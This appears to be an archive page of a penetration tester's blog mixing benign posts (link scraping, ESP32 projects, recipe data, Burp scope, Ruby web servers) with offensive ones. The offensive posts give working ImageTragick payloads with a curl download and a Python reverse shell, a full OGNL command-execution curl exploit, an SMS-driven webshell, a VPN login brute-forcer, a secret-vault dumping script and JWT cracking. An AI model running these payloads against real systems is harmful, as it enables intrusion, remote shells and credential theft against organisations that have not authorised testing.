Showing posts with label Web. Show all posts
Showing posts with label Web. Show all posts

Wednesday, February 12, 2020

A Better, More Modern, HTML Link Grabber

Lots of examples of HTML <a> link grabbers simply parse the source code of the page for a links and output that. I'm sure I don't need to say that technique is antiquated and doesn't really work that well with modern web applications and front-end frameworks. Everybody and their mother just loves modifying HTML using javascript. The old method would miss that stuff badly.

Take the following HTML file for example:

<html>
    <head>
        <body>
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>
        <script>
            var jslink = document.getElementById("jsalink")
            jslink.href = "http://example.com/js_a_link"
        </script>
        </body>
    </head>
</html>

There are obviously two A links there, but one of them is being modified by JS. This dynamic modification of elements is extremely common today. So what happens if you use the old method of getting A links?

$ curl localhost:8000/jsalink.html 2>/dev/null | grep '<a'
            <a href="http://example.com/plain-html-a-link">html-link</a>
            <a id=jsalink href=placeholder>jsalink</a>

Well that obviously didn't work... How about using the BeautifulSoup python module?

$ python3 atu-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://localhost:8000/placeholder

Also no...The best way i've found to do it is to actually have a browser engine parse the entire file and execute the JS, and then grab all the a links by issuing a command to the JS interpreter. I wrote the following script to do exactly that. It uses the Chrome browser in headless mode to perform all the parsing, and then via selenium, issues a JS statement to grab all the A links:


Running this results in:

$ python3 selenium-getlinks.py http://localhost:8000/jsalink.html
http://example.com/plain-html-a-link
http://example.com/js_a_link

That's more like it.

PS. This is still not "perfect" since certain frameworks will change content via certain event handlers. This handles some (e.g. DOMContentLoaded), but not others (e.g. onclick events). You kinda just have to deal with that. Making a script to identify changes based on all event handlers would likely be extremely risky.

Thursday, December 12, 2019

Pillage Thycotic Secret Server

If you want to grab all the secrets from Thycotic's secret server, use the SOAP API to pull them out. Assuming you have valid domain creds, run the following script.


#!/usr/bin/env python3
from zeep import Client

#Connect to the soap api endpoint
client = Client("https://secretserver.example.com/SecretServer/webservices/SSWebservice.asmx?wsdl")
#grab your auth token for all your requests
token = client.service.Authenticate("user_here", "pass_here", "", "domain_here")
#grab all secrets for the user
searchSecret = client.service.SearchSecrets(token.Token, "*")
#output the secret values for each secret
for secret in searchSecret.SecretSummaries.SecretSummary:
     print(client.service.GetSecret(token.Token, secret['SecretId']))

Wednesday, November 20, 2019

Crack JWTs with JohnTheRipper

Very simple, just paste your entire JWT into a text file like this one from WebGoat:

cat > webgoat-jwt.txt
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU3NDI3MDQ4MywiZXhwIjoxNTc0MjcwNTQzLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.zHaIM_ARkDQfNV4jwOYYorKFbcesj6WjgoVj-Z-0XiM

Run with JTR:
$ ./john webgoat-jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst
shipping         (?)
1g 0:00:00:00 DONE 2/3 (2019-11-20 10:56) 16.66g/s 2517Kp/s 2517Kc/s 2517KC/s christophing..Bluebirded
Use the "--show" option to display all of the cracked passwords reliably
Session completed

To use, just echo the password ("shipping" in this case) into webgoat-jwt-cracked.txt and import that as the "secret" file to the JSON Web Tokens Burp plugin:
https://github.com/portswigger/json-web-tokens

Monday, November 26, 2018

Ways to Enumerate Users

A couple of methods to identify usernames that can then be used in other areas of a pentest are below. I added as many as I could think of. I limited it to ones mostly seen from the public Internet.

Thursday, August 23, 2018

Apache Struts 2 Vulnerability & Exploit (CVE-2018-11776)

Yesterday a new vulnerability in certain versions of Apache Struts (2.3 - 2.3.34, 2.5 - 2.5.16)was discovered that leads to RCE. It requires both vulnerable versions as well as vulnerable configurations.

The gist of the issue is that if you have a vulnerable configuration that doesn't lend a namespace to struts, struts will take the user-specified namespace instead. Fortunately, it takes the namespace and evaluates it as a OGNL expression, allowing you to fairly easily get remote code execution.

Working PoC (I personally tested it myself and it works)
https://github.com/jas502n/St2-057

Technical deep dive on finding the vulnerability:
https://lgtm.com/blog/apache_struts_CVE-2018-11776

Vuln writeup by Semmle (including conditions for vulnerable configurations)
https://semmle.com/news/apache-struts-CVE-2018-11776

Apache's security bulletin for the vuln:
https://cwiki.apache.org/confluence/display/WW/S2-057

Mitre CVE link:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776

A couple caveats I found while testing:
  • It definitely requires a lack of namespace attribute in the classes xml
  • All that is required for successful exploitation is a single proper GET request
  • Doesn't work on all struts-showcase installs (2.3.15 wasn't working for some reason), making me think it may be a bit finicky
I modified the PoC listed above into a simple python function, making everything simpler:

Below is it being run against a vulnerable VM I set up

Wednesday, August 15, 2018

Twitter Controlled Anything - Micropython on ESP32

I recently purchased an ESP32 from amazon for testing purposes and a colleague mentioned you could install a minimalist python environment on them for control. To say the least, I was intrigued.

I wanted to be able to control a light (or anything really) using tweets. Below are the instructions/scripts I wrote to get it working. First comes the prerequisites:
  • ESP32 (duh)
  • A VPS, Pi, or really any computer acting as a flask server (it just needs internet access)
  • A wifi network for the ESP32 to connect to, I just used the hotspot on my phone as a PoC
  • Twitter API credentials (really easy to get, just fill out the forms)
TLDR:
Your ESP32 will query your flask server for a trigger word to enable the LED. The Flask server will query twitter for your latest top tweet, if it has a trigger word in it, relay that to the esp32 client. Boom, tweet causes LED to turn on.

The first step is to get your ESP32 setup running the micropython environment. I followed this excellent guide

Once you get your ESP32 configured to run python code, go ahead and transfer the following script to act as the client. You just need to change the wifi details and target flask server:

import machine
import urequests
import time

pin = machine.Pin(2, machine.Pin.OUT)

def connect():
    import network
    sta_if = network.WLAN(network.STA_IF)
    if not sta_if.isconnected():
        print('connecting to network...')
        sta_if.active(True)
        sta_if.connect('WIFINETWORKSSIDHERE', 'WIFIPASSWORDHERE')
        while not sta_if.isconnected():
            pass
    print('network config:', sta_if.ifconfig())

def no_debug():
    import esp
    # this can be run from the REPL as well
    esp.osdebug(None)

no_debug()
connect()

while True:
    time.sleep(2)
    if 'yes' in urequests.get('http://MYFLASKDOMAINHERE.com:5000').text:
        pin.value(1)

Connect the LED to Pin 2 on the ESP32 and it's all set to go. Now onto the flask server...

On your VPS/Pi/whatever, install flask and tweepy and create a directory to hold your script files. Grab the Access Token, Access Secret, Consumer Secret, Consumer Key from your Twitter Dev console that you set up earlier and place them in a "twitter_creds.py" file like the following:

ACCESS_TOKEN = '18077065-lakjsdflkajshdlfkajshdflkajsdhqqSYOtHSXtK1'
ACCESS_SECRET = 'hPqlkwjehrlkfjnlqwejhqrwklejrqhlwkejrJr1'
CONSUMER_KEY = 'QZlk9qlkwejrhqlkwjerhlqwlLh'
CONSUMER_SECRET = 'uEnkzjxcnvluqblwjbefkqwlekjflkqjwehflqlkjhuOE'

Then paste the following into "tweepy-top.py"

from twitter_creds import *

import tweepy

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)

api = tweepy.API(auth)

def get_top_tweet():
    top_tweet = api.user_timeline(count=1)
    return top_tweet[0].text

Now create your main flask app by pasting the following into "flaskhello.py":

from flask import Flask
from tweepy_top import get_top_tweet

app = Flask(__name__)

@app.route("/")
def hello():
    if 'light' in get_top_tweet():
        return 'yes'
    else:
        return 'no'

if __name__ == "__main__":
  app.run(host="0.0.0.0", threaded=True)

There you can see 'light' is used as the trigger word. Using this setup, every 2 seconds the esp32 will make a request to your flask server, which causes the flask server to query twitter for the user's top tweet, if the top tweet contains the word "light" in it, it returns the string "yes". The ESP32 recognizes the "yes" and turns on pin 2.

This is a very simple PoC and gets the job done. You can take this and expand in a thousand directions with it, some ideas:

  • A desktop counter that keeps track of your followers, retweets, likes, etc
  • A LED scroller that outputs your latest mentions
  • Or simply use twitter as the control for some device
The options are endless...enjoy :D

Thursday, August 2, 2018

Top 100 Ingredients From HomeChef Recipes

I love cooking, I consider it my primary hobby outside of infosec/coding. I had HomeChef for several months and absolutely loved it, I looked forward to each selection every week and always got to try some new techniques/flavors/combinations I probably would never had tried on my own.

Every meal they sent us had a double-sided recipe page to guide you through the process. I noticed something at the bottom of the recipe page:

They have a handy link for each recipe posted on their website, probably so it's easy to share what you made with family/friends. The fact that I saw a number, along with a list of ingredients got my thinking...

If I were to stock my pantry/fridge with "basic" ingredients, what would it look like? How about I count up the occurrences of certain ingredients on each recipe page, that should give me a good idea.

Well after gathering the data over a couple of days (I kept everything slow so as to not cause any problems) I present to you, the top 100 ingredients according to recipes on HomeChef.com

Count Ingredient
609 Garlic Cloves
433 Butter
345 Boneless Skinless Chicken Breasts
320 Green Onions
315 Shallot
219 Lemon
210 Sour Cream
208 Lime
202 Red Onion
186 Grape Tomatoes
178 Red Bell Pepper
170 Parsley Sprigs
158 Yellow Onion
154 Mayonnaise
153 Red Pepper Flakes
152 Honey
149 Liquid Egg
148 Cremini Mushrooms
142 Russet Potatoes
142 Green Beans
138 Jasmine Rice
135 Cilantro Sprigs
134 Sugar
131 Chopped Ginger
125 Baby Arugula
122 Grated Parmesan Cheese
119 Carrot
117 Roma Tomato
114 White Cooking Wine
104 Baby Spinach
102 Grated Parmesan
101 Panko Breadcrumbs
100 Light Cream
100 Shredded Mozzarella
99 Slaw Mix
98 Jalapeño Pepper
95 Cilantro
95 Shrimp
94 Thyme Sprigs
93 Zucchini
93 Garlic Clove
89 Parsley
88 Sriracha
87 Dijon Mustard
84 Sirloin Steaks
82 Cornstarch
76 Heavy Whipping Cream
76 Light Brown Sugar
75 Seasoned Rice Vinegar
74 Romaine Heart
73 Pork Tenderloin
72 Kale
72 Shredded Cheddar Cheese
72 Asparagus
71 Sweet Potato
71 Flour
69 Roasted Red Peppers
69 Spinach
69 Ground Beef
68 Salmon Fillets
68 Matchstick Carrots
68 Toasted Sesame Oil
62 Brussels Sprouts
62 Soy Sauce - Gluten-Free
61 Carrots
60 Mini Baguette
57 Small Flour Tortillas
57 Persian Cucumber
57 Basil Pesto
56 Green Onion
56 Ground Turkey
54 Teriyaki Glaze
54 Radishes
54 Red Fresno Chile
53 Beef Demi-Glace
52 Ear of Corn
51 Basil Sprigs
51 Roasted Chicken Breast
50 Roma Tomatoes
50 Blue Cheese
50 Canned Evaporated Whole Milk
49 Marinara Sauce
49 Extra Firm Tofu
48 Smoked Paprika
47 Balsamic Vinegar
47 Naan Flatbreads
47 Bacon Strips
47 Chicken Demi-Glace
46 Taco Seasoning
45 Avocado
45 Broccoli Florets
45 Frozen Peas
44 Chives
44 Corn Kernels
44 Plain Greek Yogurt
44 Tilapia Fillets
43 Navel Orange
43 Feta Cheese
43 Bone-in Pork Chops

What would a post be without some code? below is the embarrassing Python script (hey, it worked...) that parses the HTML:

XPATH Notes (how to grep xpath)

XPATH is a querying language for XML document trees. Lots of web scrapers use it since HTML can be represented as XML directly.

Your basic "grep" like XPATH query is something like the following:

  • //*[@itemprop="recipeIngredient"]
Breakdown:

  • // = start at root of tree and include itself in any searches
  • * = any tag, anywhere in the document, otherwise replace with tag name
  • [blah] = evaluate the condition blah inside the brackets
  • @itemprop = This is how you reference attributes instead of tags
  • [@itemprop] = the condition is: if the itemprop attribute exists in some tag
  • [@itemprop="recipeingredient"] = condition is: if itemprop attribute's value is "recipeingredient"
Another example is if I wanted to search anything that references example.com in an XML document, I'd search for any href attribute that contains "example.com" like so:
  • //*[@href='example.com']
Or limit it just to direct hyperlinks like "a" tags
  • //a[@href='example.com]
XPATH has a lot more functionality than this but this is mostly what I need it for.

PS.
The expression in the condition brackets "[blah]" can be used with certain functions: https://www.w3schools.com/xml/xpath_syntax.asp

Tuesday, February 20, 2018

Reddit Watcher - Watch All Reddit Posts For Special Keyword

I was playing around last night with the Reddit API and found that it allows for streaming content to /r/all. This effectively means that every (public) submission can be parsed and played with. I decided to write a small script to check if a certain keyword is in the title of the submission.

You can do extend this in a bunch of other ways:
  • Instead of printing to screen, send to twilio or OSX popups
  • Extend the keyword checking to the content or their comments
  • Restrict the catchall subreddit /r/all to something more specific like /r/netsec
  • Pump the submission through sentiment analysis and graph over time to figure out if people hate you
Below is the code for the script:
#!/usr/bin/env python3

import praw
keyword = " i "
client_id = 'x-CLIENTIDHERE'
client_secret = 'ioID-CLIENTSECRETHERE'
user_agent = 'OSX:myscripthere:v1.0 (by /u/myuserhere)'
reddit = praw.Reddit(client_id=client_id,
                     client_secret=client_secret,
                     user_agent=user_agent)

for submission in reddit.subreddit('all').stream.submissions():
    if keyword in submission.title.lower():
        print('https://reddit.com/%s : /r/%s - %s ' % (submission.id, submission.subreddit, submission.title))

Once you run that with your specific OAUTH details, you'll get streaming submissions outputted to your screen:

Currently the script is only triggering if the word " I " is in the post (for testing), obviously change to your specific keyword.

Tuesday, June 20, 2017

Attacking Complex Web Application Login Forms

Requests, Mechanize, and other HTTP clients or web scrapers are wonderful for automating a variety of tasks against web servers. Many times, if you want to brute force a login against some web app you can just use tools like those or Burp Intruder or whatever else strikes your fancy.

But sometimes, you run across a web app that does some ungodly Javascript hashing/mangling/demonic incantations to your input. When you see these situations, you need to have a tool parse, understand, and even execute the Javascript from your page.

I have found PhantomJS to be a fantastic tool to help with that. I use it as my "browser" for Selenium scripts and it works the same way, but this is all headless, no need for Firefox or Chrome windows to pop up and start clicking things. It all happens in the background transparently.

I recently came across a Checkpoint SSL VPN that I wanted to try a dictionary attack against. I wrote the following temporary script to accomplish it. It's not speedy, but then again that introduces a pseudo-sleep timer I was going to put in anyway.

I pasted the login combinations in the logins dict and ran it.

#!/usr/bin/env python3

from selenium import webdriver
from selenium.webdriver.common.keys import Keys

logins = {'user1':'pass1', 'user2':'pass2'}

for username, password in logins.items():
 driver = webdriver.PhantomJS()
 driver.set_window_size(1024, 768)
 driver.get('https://CHECKPOINTSSLVPN/sslvpn/Login/Login')
 usernamefield = driver.find_element_by_name('userName')
 usernamefield.send_keys(username)
 passwordfield = driver.find_element_by_name('loginInput')
 passwordfield.send_keys(password)
 passwordfield.send_keys(Keys.RETURN)
 errormsg = driver.find_element_by_id('ErrorMsg').text
 print(username + ':' + password + ' = ' + errormsg)
 driver.close()

UPDATE:
It turns out that phantomjs will return a completely empty page without any sort of error if it encounters an invalid SSL certificate. You can easily account for this by changing:
 driver = webdriver.PhantomJS()
to:
driver = webdriver.PhantomJS(service_args=['--ignore-ssl-errors=true'])

Listing SOAP Services In Python

If you found a WSDL, you could of course just read the XML and figure out what it's doing, or you can use the Python module zeep to do it for you:

$ python -mzeep http://www.dataaccess.com/webservicesserver/numberconversion.wso?WSDL

Prefixes:
     ns0: http://www.dataaccess.com/webservicesserver/
     xsd: http://www.w3.org/2001/XMLSchema

Global elements:
     ns0:NumberToDollars(dNum: xsd:decimal)
     ns0:NumberToDollarsResponse(NumberToDollarsResult: xsd:string)
     ns0:NumberToWords(ubiNum: xsd:unsignedLong)
     ns0:NumberToWordsResponse(NumberToWordsResult: xsd:string)


Global types:
     xsd:anyType
     xsd:ENTITIES
     xsd:ENTITY
     xsd:ID
     xsd:IDREF
     xsd:IDREFS
     xsd:NCName
     xsd:NMTOKEN
     xsd:NMTOKENS
     xsd:NOTATION
     xsd:Name
     xsd:QName
     xsd:anySimpleType
     xsd:anyURI
     xsd:base64Binary
     xsd:boolean
     xsd:byte
     xsd:date
     xsd:dateTime
     xsd:decimal
     xsd:double
     xsd:duration
     xsd:float
     xsd:gDay
     xsd:gMonth
     xsd:gMonthDay
     xsd:gYear
     xsd:gYearMonth
     xsd:hexBinary
     xsd:int
     xsd:integer
     xsd:language
     xsd:long
     xsd:negativeInteger
     xsd:nonNegativeInteger
     xsd:nonPositiveInteger
     xsd:normalizedString
     xsd:positiveInteger
     xsd:short
     xsd:string
     xsd:time
     xsd:token
     xsd:unsignedByte
     xsd:unsignedInt
     xsd:unsignedLong
     xsd:unsignedShort

Bindings:
     Soap11Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding
     Soap12Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding12

Service: NumberConversion
     Port: NumberConversionSoap (Soap11Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding)
         Operations:
            NumberToDollars(dNum: xsd:decimal) -> NumberToDollarsResult: xsd:string
            NumberToWords(ubiNum: xsd:unsignedLong) -> NumberToWordsResult: xsd:string

     Port: NumberConversionSoap12 (Soap12Binding: {http://www.dataaccess.com/webservicesserver/}NumberConversionSoapBinding12)
         Operations:
            NumberToDollars(dNum: xsd:decimal) -> NumberToDollarsResult: xsd:string
            NumberToWords(ubiNum: xsd:unsignedLong) -> NumberToWordsResult: xsd:string

Zeep seems to be the best SOAP client for Python. It's written on top of python Requests, it's well documented, and works on both Python 2 & 3.

Friday, April 14, 2017

Exploiting the VMware VCenter RCE (CVE-2017-5638)

I got lucky enough to be able to test this exploit code on an active engagement so I thought I'd share my PoC:

1. Find a box that has VCenter running (just grep through nmap results for vcenter)
2. Run the following curl command (assuming it's on port 443):

curl -v -k https://VICTIMIPHERE/statsreport/ -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
EOF
)"
3. The response body should be the output of the command

You can modify the "(#cmd='net user')" portion of the payload to be other commands including things like adding a new local admin. Or possibly running Powershell (haven't verified yet)

Thursday, February 23, 2017

Enumerate Leaked AWS API Key Access

Sometimes on a pentest engagement (or from https://gitleaks.com) you'll come across some AWS API keys. If you want to know what those keys have access to, I've decided to make a script that runs through various AWS services API endpoints to list access to them. You can do this using the awscli tool but I find it less than ideal to deal with and the JSON you have to parse can be annoying.

So I decided to write a tool since I couldn't find one online. This tool is pretty simple, it simply takes in an access key and secret key often used in configurations and connect scripts. It then goes one by one to each service and queries useful information such as Dynamo DB table names, S3 bucket names and how many objects are in each one.

So for example, let's say during your recon/OSINT phase you discover some AWS API creds exposed on gitleaks or some config file. (The screenshot obviously isn't a client, just a random entry in gitleaks)

You take the "Access Key" and "Secret Key" and pump them into the AWSEnumerator script:
$ ./AWSEnumerator.py AKXXXXXXXXXXXXXXXXXA ENtXXXXXXXXXXXXXXXXXq
Checking for S3 buckets
  Total # of buckets: 9
    Bucket: bucket1 [8 objects]
    Bucket: bucket2 [1000 objects]
    Bucket: bucket3-dev [1000 objects]
    Bucket: bucket4 [1 objects]
    Bucket: bucket5 [747 objects]
    Bucket: otherbucket [1000 objects]
    Bucket: morebucket [54 objects]
    Bucket: whereismahbucket [26 objects]
    Bucket: ilikefish [95 objects]
Checking for EC2 Instances
  Total # of EC2 Instances: 2
    Instance: t2.nano - 52.570.576.548 - running
    Instance: t2.small - stopped
Checking for Lightsail Instances
  Total # of Lightsail instances: 1
    Name: enumtest1, Username: ubuntu, IP: 254.244.198.296, State: running
Checking for DynamoDB Tables
  Total # of DynamoDB Tables: 2
    Table Name: tabletest
    Table Name: test2
This information is fantastic for both reporting purposes as well as possibly escalating access or obtaining sensitive information.

Currently, the script supports:
  - EC2 Instances (type, IP, status)
  - S3 Buckets (name, number of objects)
  - Lightsail Instances (name, username, IP, state)
  - DynamoDB (table name)

I am planning on adding support for additional services as time goes on.

The tool can be found at https://github.com/atucom/AWSEnumerator

Wednesday, September 14, 2016

Better PHP Serialized Regex

Below is the regex I came up with to find instances of PHP serialized strings in other input. I made the regex a little loose to not miss any of them popping up. I tested this and it works perfectly.

(i|s|a|o|d):\d+:(.*);?


Thursday, July 28, 2016

How to import "raw" IPs into Burp

If you need to test a list of IPs and *any* domains that may be on those IPs, burp doesn't exactly make it easy to enter in a large number of IPs. If you try to use the "load" button with a file of just one IP per line, it will import it, but it will also do something extremely annoying:

Those regexes? They mess up everything. Before if you entered 1.2.3.4, ANY domain name that resolved to that would show up in the filtered sitemap, now only instances of "1.2.3.4" show up, and if you visit the domains, they no longer appear, because they don't match the regex.

I finally figured out how to upload a "raw" list of IPs into the scope listing unmodified. Burp has a feature on a tiny button that allows you to "load options", which is really just a json formatted file with a bunch of different Burp settings:
So I decided to take a look at the format, and holy crap, "raw" IPs are actually recognized properly in this settings file. So I wrote a quick python script to create a proper settings file from a supplied list of IPs:


#!/usr/bin/env python
#@atucom
#this script takes in a one-per-line file of IPs and adds it to Burp without any stupid regexes
#  This mimics the same thing as hitting the "add" button in the Scope tab
#  to load the resultant file, you need to go to the Scope tab, hit the little gear button in the 
#  top left and click "load settings", choose the jsonout.txt file and rejoice.
import sys
import json
basejson = """
{
    "target":{
        "scope":{
            "exclude":[
                {
                    "enabled":true,
                    "file":"logout",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"logoff",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"exit",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"signout",
                    "protocol":"any"
                }
            ],
            "include":[
            ]
        }
    }
}
"""
ipfile = open(sys.argv[1]) #open file of IPs (one per line)
iplist = ipfile.readlines()
dictjson = json.loads(basejson) #load base json data structure
for ip in iplist:
  newip = {"enabled":True, "host":ip.strip(), "protocol":"any"}
  dictjson['target']['scope']['include'].append(newip) #appends new IP entry to python dict

jsonout = open("jsonout.txt", "w")
jsonout.write(json.dumps(dictjson))
print("wrote to jsonout.txt")

To use it, run the script and supply the file with you one-per-line IP list. It will dump out a "jsonout.txt" file. In Burp, go to Target > Scope > Gear Button > Load Options > select jsonout.txt > Open

That should be it, your IPs should now show up in the "include in scope" box like below:


I also saved it to my gist for posterity: https://gist.github.com/atucom/b083d1f3b12606aaf4076a689d200939

I always assumed there had to be a supported way of doing this but after asking several people, nobody could find a way. This seems to be the only way that works for what I need done. Now, I just need to write up a Burp extension for it...

UPDATE:
Thanks to the help of a friend of mine with the Burp plugin code, I've been able to create a burp plugin that accomplishes this task:
https://gist.github.com/atucom/eabf35f344f46ffbd2f8d25b018f88c9

Wednesday, July 20, 2016

How to have a webshell over SMS

I consider this more of a "stupid trick" than actually being terribly useful. I recently thought to myself "How awesome would it be if I could text a phone number to run some commands" and I immediately answered that question with "super freakin' awesome".

You need the following:
  1. A number set up at Twilio - This is what is used to actually communicate over SMS
  2. A VPS - You need this to host a server application to accept the text string from Twilio servers. This will also be where the commands are actually run.
  3. Ruby with twilio-ruby and sinatra gems installed
Purchase a phone number in Twilio and have the "webhook" line in the SMS section point to your VPS URL, for example: http://myvpshere:8080/smscli or whatever you choose. Once you set that up, whatever SMS messages get sent to the phone number you purchased in Twilio will be sent as an HTTP Post request to the URL you specify. 

Now all you need is a server listening at that URL on your VPS to accept the HTTP Post requests from the Twilio servers and do something with the body of the request. In this case, we pass whatever text as a system command and reply to the phone number with the result of the command. The following example Ruby code starts up a sinatra web server to do all that:


require 'twilio-ruby'
require 'sinatra'

set :port, 8080
set :bind, '0.0.0.0'

post '/smscli' do
  puts "Message: #{params['Body']}!"

  result = `#{params['Body']}`

  twiml = Twilio::TwiML::Response.new do |r|
    r.Message result
  end
  twiml.text
end

Overall, this really isn't that different from any other webshell. The only real difference is you are leveraging Twilio to handle SMS communications.

Now you get to do something stupid like this:

PS.
     I shouldn't have to mention that taking in arbitrary text from untrusted sources and running them as commands under root is pretty much the worst thing you could do security wise. This is merely an example of how to get the pure task done. Implement some auth or something, I don't care... It's your funeral...

Tuesday, May 17, 2016

Exploiting HipChat with ImageTragick

Hipchat uses the Imagemagick library to resize your custom emoticons. If you have access to upload your own emoticon image files to the server using the web interface (or API probably), you can use the Imagetragick vulnerability to get shell on the machine.

It turns out the ImageTragick's PoC didn't work on our server:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

After quite a bit of mangling and testing, the following file contents, renamed to a .gif (HipChat doesn't accept .mvg files), will work:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/test4")'
pop graphic-context

I could see the request for "test4" in my testserver's logs. woot. This means we have remote command execution on the server. Now all we have to do is get shell.

Now since I didn't have time to figure out how to make it a leet one-liner, I decided to break shell access into two requests. The first pulls the shell script to /tmp/ and the second executes the file.

The reverse shell I used was:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I simply pasted that into a .sh on my testserver so the victim HipChat server could pull it down

I listened on my remote box with a basic ncat listener:
ncat -l -v 1234

Then I created the two separate exploit .gif files. The first .gif runs curl to download the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/python_shell.sh -o /tmp/python_shell.sh")'
pop graphic-context

The second .gif executes the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";bash /tmp/python_shell.sh")'
pop graphic-context

(now that I think about it, you might be able to combine both files into one to only have to upload once, but I haven't tested that)

Once you upload that second gif, about a second or two later, you should see your shell come through on your ncat 1234 port:
$ uname -a
Linux hipchat.blah.com 3.4.0-54-generic #81~precise1-Ubuntu SMP Tue Jul 15 04:02:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So ImageTragick is kind of a big deal in that it's stupid easy to exploit (at least in this case) and it's a fairly reliable command injection vuln.

Thursday, March 24, 2016

Hackers and Programming Languages


  The following is a list of very common programming languages and why a Pentester/Hacker should be at the very least familiar with them:


  •  Bash - Using linux, I'd wager the most important language to be proficient in. 
  •  Ruby - Many security tools are written in Ruby, extending metasploit, exploit dev, understanding/exploiting Rails vulns. Overall a very enjoyable language to program in.
  •   Python - Many security tools are written in python, extending veil/impacket, exploit dev, lots of RE/Forensics tools are written in python, huge and active community to build upon.
  •   C++ - Custom windows malware writing, gives you more direct access to the windows API
  •   PHP - crap ton of webapps/professional appliances/general web stuff is written in PHP
  •   Javascript - XSS/CSRF, NodeJS, super crazy fancy looking tools
  •   Java - Almost every single organization runs java somewhere. Java web apps, apache tomcat, Weblogic, any java app server, java RPC protocols. LOTS of vulnerabilities introduced because of java apps.
  •   C - Custom malware writing (in general), several security tools written in C, driver/kernel hacking
  •   Perl - Make yourself seem way older than you actually are. haha, jk. no really you don't need to learn perl.


  Other programming like things:

  •   Object Oriented Programming - Important for source code analysis and writing more powerful tools
  •   Programming Patterns - Certain programming patterns are not intuitive at all. Important to know when you are debugging other's code or doing source code analysis.
  •   HTML - Any place you'd have HTML injection or trying to get custom XSS/ or other browser centric vulns to pop
  •   XML - data storage, API data transfer format, SOAP, XXE injection
  •   JSON - Other than XML, most often used API format
  •   SQL - SQLi, intercepting SQL traffic


This list is by no means exhaustive or comprehensive, it's just typically the languages you'd most often encounter on pentests, exploit dev, or reverse engineering. If you can think of other uses for the languages or another language I missed, let me know.

Thursday, March 10, 2016

Ruby's One-liner HTTP Server

For years I relied on Python's SimpleHTTPServer module when I wanted to stand up an ad-hoc web service for file transfers. For example, using Python 2.x:
python -m SimpleHTTPServer 8080

Or with Python 3.x:
python -m http.server 8000

Now while this is in fact easy to remember and works quite well, it is one of the only times I ever use Python over my chosen language of Ruby. That was until I discovered the most excellently named lib 'un'. It has been included in main since Ruby 1.9.2 and allows us to stand up a web server in no time at all. For example:
ruby -run -e httpd . -p 8080

 A quick breakdown of what's happening here:
  • -r is the shorthand for a require statement in ruby. Since the library we are loading is called 'un', it reads as 'run', a fantastically clever name indeed. Obviously, you could also invoke it as '-r un' but that's nowhere near as clever.
  • -e invokes the 'httpd' method as defined in the un.rb library. 
  • . is indicated to host the current working directory as the DocumentRoot,
  • -p 8080 is setting the Port option. 
Take a look in the un.rb source and you'll see it is just standing up a WEBrick server in the background. 

Example of running this on my Mac:


Tuesday, March 8, 2016

Simple HTTPS Server in Ruby

I recently needed a braindead https server that was mildly configurable. Ruby Webrick provides a very simple HTTPS webserver in their examples. I modified it for sane defaults and some configuration:

#!/usr/bin/env ruby
require 'webrick'
require 'webrick/https'
require 'optparse'

options = {}
optparse = OptionParser.new do|opts|
   opts.banner = "Usage: #{$0} [options] ..." 
   opts.on( '-p', '--port PORT', 'The port to listen on. Default:8443' ) do|port|
     options[:port] = port
   end
   opts.on( '-d', '--docroot PATH', 'The directory to serve. Default: Current Dir' ) do|docroot|
     options[:docroot] = docroot
   end
   opts.on( '-h', '--help', 'Display this screen' ) do
     puts opts
     exit 1
   end
 end.parse!(ARGV)

docroot = options[:docroot] || '.'
port = options[:port] || 8443
cert_name = [
  %w[CN localhost],
]
server = WEBrick::HTTPServer.new(:Port => port,
